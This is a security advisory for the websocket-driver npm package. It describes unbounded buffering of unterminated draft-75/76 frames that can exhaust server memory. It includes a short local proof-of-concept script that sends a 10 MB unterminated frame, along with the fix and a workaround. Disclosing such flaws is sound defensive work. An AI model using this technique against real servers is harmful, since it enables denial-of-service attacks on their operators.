# GHSA-X2CX-5R9C-953Q: Excessive memory use caused by draft-75/76 buffering

- Database: GitHub
- Severity: CVSS 7.5 (High)
- Published: 2026-12-01
- Modified: 2026-12-03

## Tracked as

- [CVE-2026-144295](https://cve.now/CVE-2026-144295.md): websocket-driver: Excessive memory use caused by draft-75/76 buffering

## Affected versions

- websocket-driver (npm): fixed in 0.8.3

## Description

### Summary

A server running `websocket-driver` can be made to buffer data in excess of `maxLength` and potentially run out of memory by a client sending a non-terminated stream of message data.

### Details

When configured using `allowDrafts: true`, the `websocket-driver` library continues to support legacy draft versions of the WebSocket protocol. These use delimited rather than length-prefixed frames; a frame is initiated by sending `00` and ended by sending `FF`. If a client sends `00` and then sends a long series of bytes, the server will buffer this data in excess of `maxLength`, potentially causing it to run out of memory if the message is continued indefinitely.

This has been mitigated by properly enforcing the `maxLength` limit at the point where the data is buffered. It can also be prevented by not setting the `allowDrafts` option.

### Proof of concept

This script demonstrates how much data is buffered by a draft-75 parser on receipt of a very long unterminated message:

```js
const driver = require('websocket-driver')

let d = driver.server({ allowDrafts: true, maxLength: 1024 })  // 1 KB cap
d.on('connect', () => d.start())

// draft-75 handshake: NO Sec-WebSocket-Key/Version/Key1/Key2 -> Draft75 selected
d.io.write(Buffer.from(
  'GET / HTTP/1.1\r\n' +
  'Host: localhost\r\n' +
  'Upgrade: websocket\r\n' +
  'Connection: Upgrade\r\n' +
  'Origin: http://localhost\r\n' +
  '\r\n'))

// One text frame: 0x00, then 10 MB of 0x41, NO terminating 0xFF, in one chunk.
let N = 10 << 20
let chunk = Buffer.alloc(N + 1, 0x41)
chunk[0] = 0x00
d.io.write(chunk)

console.log(d._delegate._reader._queue.length)
console.log(d._delegate._buffer.length)
```

On vulnerable versions this will print numbers far in excess of the configured `maxLength`.

### Impact

A server with `allowDrafts` enabled can be made to run out of memory and crash by an unauthenticated remote client sending a non-terminating stream of message data.

## References

- https://github.com/faye/websocket-driver-node/security/advisories/GHSA-x2cx-5r9c-953q

Page: https://cve.now/GHSA-X2CX-5R9C-953Q

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
